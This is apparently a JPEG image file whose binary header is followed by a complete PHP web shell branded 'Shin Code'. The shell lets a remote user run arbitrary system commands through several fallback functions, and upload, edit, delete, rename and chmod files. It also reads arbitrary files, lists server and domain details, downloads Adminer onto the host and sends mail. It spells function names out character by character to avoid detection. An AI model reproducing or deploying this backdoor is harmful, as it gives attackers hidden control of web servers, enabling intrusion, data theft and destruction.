ÿØÿà JFIF    ÿÛ „  ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ     ÿÄ H    !1AQaq"‘¡2B±ÁÑð#R“Ò Tbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz ¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡* ….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±b Lô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊ ÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ. $part) { if ($part == '') { $breadcrumb[] = "/"; continue; } $path = implode('/', array_slice($parts, 0, $id + 1)); $breadcrumb[] = "" . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . ""; } return implode(DIRECTORY_SEPARATOR, $breadcrumb); } $directory = isset($_GET['dir']) ? $_GET['dir'] : "."; $directory = @realpath($directory); if (!$directory || !is_dir($directory)) { $backUrl = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER'], ENT_QUOTES, 'UTF-8') : '#'; die("

Invalid directory.
BACK

"); } if (isset($_GET['action']) && $_GET['action'] == 'download' && isset($_GET['target'])) { $fileToDownload = $directory . DIRECTORY_SEPARATOR . basename($_GET['target']); if (file_exists($fileToDownload)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($fileToDownload) . '"'); header('Content-Length: ' . filesize($fileToDownload)); readfile($fileToDownload); exit; } else { echo "

File not found for download.

"; } } if (isset($_GET['id'])) { $id = $_GET['id']; $currentFile = basename(__FILE__); $backUrl = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER'], ENT_QUOTES, 'UTF-8') : $currentFile; echo "

[ BACK TO DIRECTORY!!! ]

"; if ($id === 'phpinfo') { ob_start(); phpinfo(); $phpinfo = ob_get_clean(); echo $phpinfo; exit; } } $file_g_c = "f"."i"."l"."e"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s"; $file_p_c = "f"."i"."l"."e"."_"."p"."u"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s"; $stream_g_c = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s"; $f_opn = "f"."o"."p"."e"."n"; $p_gm = "p"."r"."e"."g"."_"."m"."a"."t"."c"."h"; if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on'){ $protocol = 'https'; } else{ $protocol = 'http'; } $domain = $_SERVER['HTTP_HOST']; $urlPath = $protocol . '://' . $domain; $d0mains = @file("/etc/named.conf"); if ($d0mains) { $count = 0; foreach ($d0mains as $d0main) { if (@$p_gm('#zone "(.*)"#', $d0main, $matches)) { flush(); if (strlen(trim($matches[1])) > 2) { flush(); $count++; } } } $count2 = $count / 2; } else { $count2 = "??"; } echo "

[ Shin Code ] - " .$_SERVER['HTTP_HOST']. "

System: " . @php_uname() . "

Hostname: " . @gethostname() . " | Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "

User ID: " . @getmyuid() . " | Group ID: " . @getmygid() . " | Username: " . @get_current_user() . "

Server IP: " . gethostbyname($_SERVER['HTTP_HOST']) . " | Port: " . $_SERVER['SERVER_PORT'] . " | Your IP: " . $_SERVER['REMOTE_ADDR'] . "

PHP Version: " . @phpversion() . " | [ PHP INFO ] | Safe Mode: " . (ini_get('safe_mode') ? 'ON' : 'OFF') . " | Domains: " . $count2 . "

Disable Functions: " . @ini_get('disable_functions') . "

DIR~: " . createBreadcrumb($directory) . "

"; echo ""; if (isset($_GET['dir'])) { if (isset($_GET['creat_file'])) { echo "

Create File :

"; if (isset($_POST['create_file'])) { $newFileName = $_POST['new_file_name']; $newFilePath = $directory . DIRECTORY_SEPARATOR . $newFileName; if (file_exists($newFilePath)) { echo "

File already exists.

"; } else { if (touch($newFilePath)) { echo "

File '$newFileName' created successfully.

"; } else { echo "

Failed to create file.

"; } } } } } if (isset($_GET['dir'])) { if (isset($_GET['creat_folder'])) { echo "

Create Folder :

"; if (isset($_POST['create_folder'])) { $newFolderName = $_POST['new_folder_name']; $newFolderPath = $directory . DIRECTORY_SEPARATOR . $newFolderName; if (file_exists($newFolderPath)) { echo "

Folder already exists.

"; } else { if (mkdir($newFolderPath)) { echo "

Folder '$newFolderName' created successfully.

"; } else { echo "

Failed to create folder.

"; } } } } } if (isset($_POST['zip_files'])) { $zip = new ZipArchive(); $zipFileName = $directory . '/archive_' . date('Ymd_His') . '.zip'; if ($zip->open($zipFileName, ZipArchive::CREATE) === TRUE) { $filesToZip = scandir($directory); foreach ($filesToZip as $file) { if ($file != '.' && $file != '..') { $filePath = $directory . DIRECTORY_SEPARATOR . $file; if (is_file($filePath)) { $zip->addFile($filePath, $file); } } } $zip->close(); echo "

Files successfully zipped to archive.zip.

"; } else { echo "

Failed to create ZIP archive.

"; } } if (isset($_GET['dir'])) { if (isset($_GET['zip_file'])) { echo "

Unzip Files :

"; if (isset($_POST['unzip_files']) && isset($_FILES['zip_file'])) { $zipFilePath = $_FILES['zip_file']['tmp_name']; $zip = new ZipArchive(); if ($zip->open($zipFilePath) === TRUE) { $zip->extractTo($directory); $zip->close(); echo "

ZIP file successfully extracted to the current directory.

"; } else { echo "

Failed to extract ZIP file.

"; } } } } if (isset($_GET['dir'])){ if (isset($_GET['mailewa'])){ echo "

Mail Test :

"; if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['email'])) { $xx = rand(); $to = $_POST['email']; $subject = "SHIN MAILER TEST - " . $xx; $message = ""; $message .= "

Hello, Shin Ganteng

"; $message .= "

From domain: " . $_SERVER['SERVER_NAME'] . "

"; $message .= "

This is a test email sent from Shin Mailer.

"; $message .= ""; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n"; if (mail($to, $subject, $message, $headers)) { echo "

Send a report to [" . $_POST['email'] . "] - $xx

"; } else { echo "

Failed to send the email.

"; } } } } if (isset($_POST['Summon'])) { $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'; $fileUrl = $baseUrl; $fileName = 'adminer.php'; $filePath = $directory . '/' . $fileName; function fetchContentUsingCurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $content = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($content === false) { return array('success' => false, 'error' => $error); } return array('success' => true, 'content' => $content); } $fileContent = @$file_g_c($fileUrl); if ($fileContent === false) { $curlResult = fetchContentUsingCurl($fileUrl); if ($curlResult['success']) { $fileContent = $curlResult['content']; } else { echo "

Failed to fetch the file using cURL. Error: " . $curlResult['error'] . "

"; exit; } } $saveStatus = @$file_p_c($filePath, $fileContent); if ($saveStatus === false) { $file = @$f_opn($filePath, 'w'); if ($file) { $writeStatus = @fwrite($file, $fileContent); if ($writeStatus !== false) { echo "

File \"" . $fileName . "\" summoned successfully using fallback method. " . $filePath . "

"; } else { echo "

Failed to write the file content using fallback method.

"; } @fclose($file); } else { echo "

Failed to open the file for writing.

"; } } else { echo "

File \"" . $fileName . "\" summoned successfully. " . $filePath . "

"; } } if (isset($_GET['dir'])) { if (isset($_GET['command'])) { echo "

Execute Command :

"; if (isset($_POST['execute'])) { $command = $_POST['cmd']; if (!empty($command)) { $result_command = ''; $status = null; $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); if (!$currentDir || !is_dir($currentDir)) { echo "

Invalid directory. Execution aborted.

"; return; } chdir($currentDir); if (function_exists('system')) { ob_start(); $syst = "s"."y"."s"."t"."e"."m"; $syst($command . " 2>&1", $status); $result_command = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); $pasthr = "p"."a"."s"."s"."t"."h"."r"."u"; $pasthr($command . " 2>&1", $status); $result_command = ob_get_clean(); } elseif (function_exists('exec')) { $exc = "e"."x"."e"."c"; $exc($command . " 2>&1", $output, $status); $result_command = @implode("\n", $output); } elseif (function_exists('shell_exec')) { $sh_exc = "s"."h"."e"."l"."l"."_"."e"."x"."e"."c"; $result_command = $sh_exc($command . " 2>&1"); } elseif (function_exists('proc_open')) { $pro_op = "p"."r"."o"."c"."_"."o"."p"."e"."n"; $handle = $pro_op($command, array( 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ), $pipes); if (is_resource($handle)) { $result_command = $stream_g_c($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); } } elseif (function_exists('popen')) { $popn = "p"."o"."p"."e"."n"; $handle = $popn($command, 'r'); if (is_resource($handle)) { while (!feof($handle)) { $result_command .= fread($handle, 8192); } pclose($handle); } } if (!empty($result_command)) { echo "

Command executed in directory: " . htmlspecialchars($currentDir, ENT_QUOTES, 'UTF-8') . "

$result_command
"; } else { echo "

Failed to execute command.

"; } } else { echo "

Command cannot be empty.

"; } } } } if (isset($_GET['dir'])) { if (isset($_GET['upload'])) { echo "

Upload File :

"; if (isset($_POST['upload'])) { if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) { echo "

No files selected.

"; } else { $targetFile = $directory . "/" . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { echo "

File uploaded successfully using move_uploaded_file.

"; } else { echo "

Failed to upload file using move_uploaded_file. Attempting alternative methods...

"; if (copy($_FILES['file']['tmp_name'], $targetFile)) { echo "

File uploaded successfully using copy.

"; } else if (rename($_FILES['file']['tmp_name'], $targetFile)) { echo "

File uploaded successfully using rename.

"; } else { $inputStream = $f_opn($_FILES['file']['tmp_name'], 'rb'); $outputStream = $f_opn($targetFile, 'wb'); if ($inputStream && $outputStream) { while (!feof($inputStream)) { fwrite($outputStream, fread($inputStream, 8192)); } fclose($inputStream); fclose($outputStream); if (file_exists($targetFile)) { echo "

File uploaded successfully using stream operations.

"; } else { echo "

Failed to upload file using stream operations.

"; } } else { echo "

Failed to open file streams.

"; } } } } } } } if (isset($_POST['edit'])) { $fileToEdit = $directory . DIRECTORY_SEPARATOR . basename($_POST['file_name']); if (is_file($fileToEdit)) { if ($file_p_c($fileToEdit, $_POST['file_content']) !== false) { echo "

File successfully edited using $file_p_c.

"; } else { echo "

Failed to save file changes using $file_p_c. Attempting alternative methods...


"; $fileHandle = @$f_opn($fileToEdit, 'w'); if ($fileHandle) { if (fwrite($fileHandle, $_POST['file_content']) !== false) { echo "

File successfully edited using fwrite.

"; } else { echo "

Failed to save file changes using fwrite.

"; } fclose($fileHandle); } else { $tempFile = tempnam(sys_get_temp_dir(), 'edit_'); if ($tempFile) { if ($file_p_c($tempFile, $_POST['file_content']) !== false) { if (rename($tempFile, $fileToEdit)) { echo "

File successfully edited using temporary file and rename.

"; } else { echo "

Failed to rename the temporary file to the target file.

"; } } else { echo "

Failed to write to temporary file.

"; } if (file_exists($tempFile)) { unlink($tempFile); } } else { echo "

Failed to create a temporary file.

"; } } $inputStream = $f_opn('php://memory', 'w+'); if ($inputStream) { fwrite($inputStream, $_POST['file_content']); rewind($inputStream); $outputStream = @$f_opn($fileToEdit, 'w'); if ($outputStream) { while (!feof($inputStream)) { if (fwrite($outputStream, fread($inputStream, 8192)) === false) { echo "

Failed to save file changes using stream operations.

"; break; } } fclose($outputStream); echo "

File successfully edited using stream operations.

"; } else { echo "

Failed to open the target file for writing.

"; } fclose($inputStream); } else { echo "

Failed to create in-memory stream.

"; } } } else { echo "

File not found.

"; } } if (isset($_POST['rename'])) { $oldName = $directory . DIRECTORY_SEPARATOR . $_POST['old_name']; $newName = $directory . DIRECTORY_SEPARATOR . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo "

Successfully renamed to: " . htmlspecialchars($_POST['new_name'], ENT_QUOTES, 'UTF-8') . "

"; } else { echo "

Failed to rename using rename(). Trying alternative methods...

"; if (is_file($oldName)) { if (copy($oldName, $newName)) { unlink($oldName); echo "

Successfully renamed file using alternative method.

"; } else { echo "

Failed to rename file using alternative method.

"; } } elseif (is_dir($oldName)) { if (mkdir($newName)) { $files = scandir($oldName); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { rename($oldName . DIRECTORY_SEPARATOR . $file, $newName . DIRECTORY_SEPARATOR . $file); } } rmdir($oldName); echo "

Successfully renamed folder using alternative method.

"; } else { echo "

Failed to rename folder using alternative method.

"; } } else { echo "

Target is neither a file nor a folder.

"; } } } else { echo "

File or folder not found.

"; } } if (isset($_POST['change_permissions'])) { $chmodTarget = $_POST['chmod_target']; $chmodValue = $_POST['chmod_value']; if ($p_gm('/^[0-7]{3,4}$/', $chmodValue)) { $isValid = true; } else { $isValid = ctype_digit($chmodValue) && strlen($chmodValue) >= 3 && strlen($chmodValue) <= 4 && max(str_split($chmodValue)) <= 7; } if ($isValid) { $chemod = "c"."h"."m"."o"."d"; if ($chemod($chmodTarget, octdec($chmodValue))) { echo "

Permissions for '" . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "' successfully changed to " . htmlspecialchars($chmodValue, ENT_QUOTES, 'UTF-8') . ".

"; } else { echo "

Failed to change permissions for '" . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "'.

"; } } else { echo "

Invalid permission value. Please provide a valid value (e.g., 0755).

"; } } function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $items = array_diff(scandir($dir), array('.', '..')); foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } if (isset($_GET['action']) && isset($_GET['target'])) { $action = $_GET['action']; $target = $directory . DIRECTORY_SEPARATOR . basename($_GET['target']); if ($action === 'delete') { if (is_file($target)) { if (unlink($target)) { echo "

File '" . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "' successfully deleted.

"; } else { echo "

Failed to delete file '" . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "'.

"; } } elseif (is_dir($target)) { if (deleteDirectory($target)) { echo "

Folder '" . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "' successfully deleted.

"; } else { echo "

Failed to delete folder '" . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "'.

"; } } else { echo "

Invalid target for deletion.

"; } } elseif ($action === 'edit') { if (is_file($target)) { $content = "

File tidak dapat dibaca atau tidak ditemukan.

"; if (is_readable($target)) { $content = @$file_g_c($target); if ($content === false) { $handle = @$f_opn($target, "r"); if ($handle) { $content = ''; while (!feof($handle)) { $content .= fread($handle, 8192); } fclose($handle); } else { $lines = @file($target, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines !== false) { $content = implode("\n", $lines); } else { $content = "

Gagal membaca file dengan semua metode.

"; } } } $content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8'); } echo "
Edit File: " . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "

"; } else { echo "

File not found.

"; } } elseif ($action === 'rename') { if (is_file($target) || is_dir($target)) { echo "
Rename: " . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "

"; } } elseif ($action === 'chmod') { if (is_file($target) || is_dir($target)) { echo "
Change Permissions: " . htmlspecialchars($_GET['target'], ENT_QUOTES, 'UTF-8') . "
"; } else { echo "

Target not found for chmod.

"; } } } $folders = array(); $files = array(); if ($dh = @opendir($directory)) { while (($file = readdir($dh)) !== false) { if ($file == "." || $file == "..") continue; $path = $directory . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $folders[] = $file; } else { $files[] = $file; } } closedir($dh); } else { $items = @scandir($directory); if ($items !== false) { foreach ($items as $file) { if ($file == "." || $file == "..") continue; $path = $directory . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { $folders[] = $file; } else { $files[] = $file; } } } else { $currentDir = @getcwd(); if ($currentDir === $directory) { $items = glob($directory . '/*'); if ($items) { foreach ($items as $path) { $file = basename($path); if (is_dir($path)) { $folders[] = $file; } else { $files[] = $file; } } } } else { echo ""; } } } function getPermissions($path) { $perms = fileperms($path); if (($perms & 0xC000) == 0xC000) { $info = 's'; // Socket } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; // Symbolic Link } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; // Regular } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; // Block special } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; // Directory } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; // Character special } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; // FIFO pipe } else { $info = 'u'; // Unknown } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } if (isset($_GET['readfile'])) { $fileToRead = $_GET['readfile']; if (is_readable($fileToRead)) { echo "
Reading File: " . htmlspecialchars(basename($fileToRead), ENT_QUOTES, 'UTF-8') . "
"; $content = @$file_g_c($fileToRead); if ($content === false) { $fileHandle = @$f_opn($fileToRead, 'r'); if ($fileHandle) { $content = fread($fileHandle, filesize($fileToRead)); fclose($fileHandle); } else { $content = false; } } if ($content === false) { $lines = @file($fileToRead); if ($lines !== false) { $content = implode("\n", $lines); } } if ($content === false) { $fileHandle = @$f_opn($fileToRead, 'r'); if ($fileHandle) { $content = @$stream_g_c($fileHandle); fclose($fileHandle); } } if ($content === false) { $fileHandle = @$f_opn($fileToRead, 'r'); if ($fileHandle) { $content = ''; while (($line = fgets($fileHandle)) !== false) { $content .= $line; } fclose($fileHandle); } } if ($content === false) { $content = @$file_g_c("php://filter/read=string.rot13/resource=" . $fileToRead); } if ($content !== false) { echo "
";
            echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
            echo "
"; } else { echo "

Unable to read file. It may not be readable or it doesn't exist.

"; } } else { echo "

Unable to read file. It may not be readable or it doesn't exist.

"; } } function formatFileSize($bytes) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($bytes >= 1024 && $i < count($units) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } sort($folders); sort($files); foreach ($folders as $folder) { $path = $directory . "/" . $folder; $color = is_writable($path) ? "green" : "red"; $permissions = getPermissions($path); $size = is_file($path) ? formatFileSize(filesize($path)) : '-'; echo " "; } foreach ($files as $file) { $path = $directory . "/" . $file; $color = is_writable($path) ? "green" : "red"; $permissions = @getPermissions($path); $size = is_file($path) ? formatFileSize(filesize($path)) : '-'; echo " "; } echo "
TypeNameSizePermissionsActions
No items found.
📁 " . htmlspecialchars($folder, ENT_QUOTES, 'UTF-8') . " $size $permissions
📄 " . htmlspecialchars($file, ENT_QUOTES, 'UTF-8') . " $size $permissions
© " . date('Y') . " ✓ By Shin Code.
";?>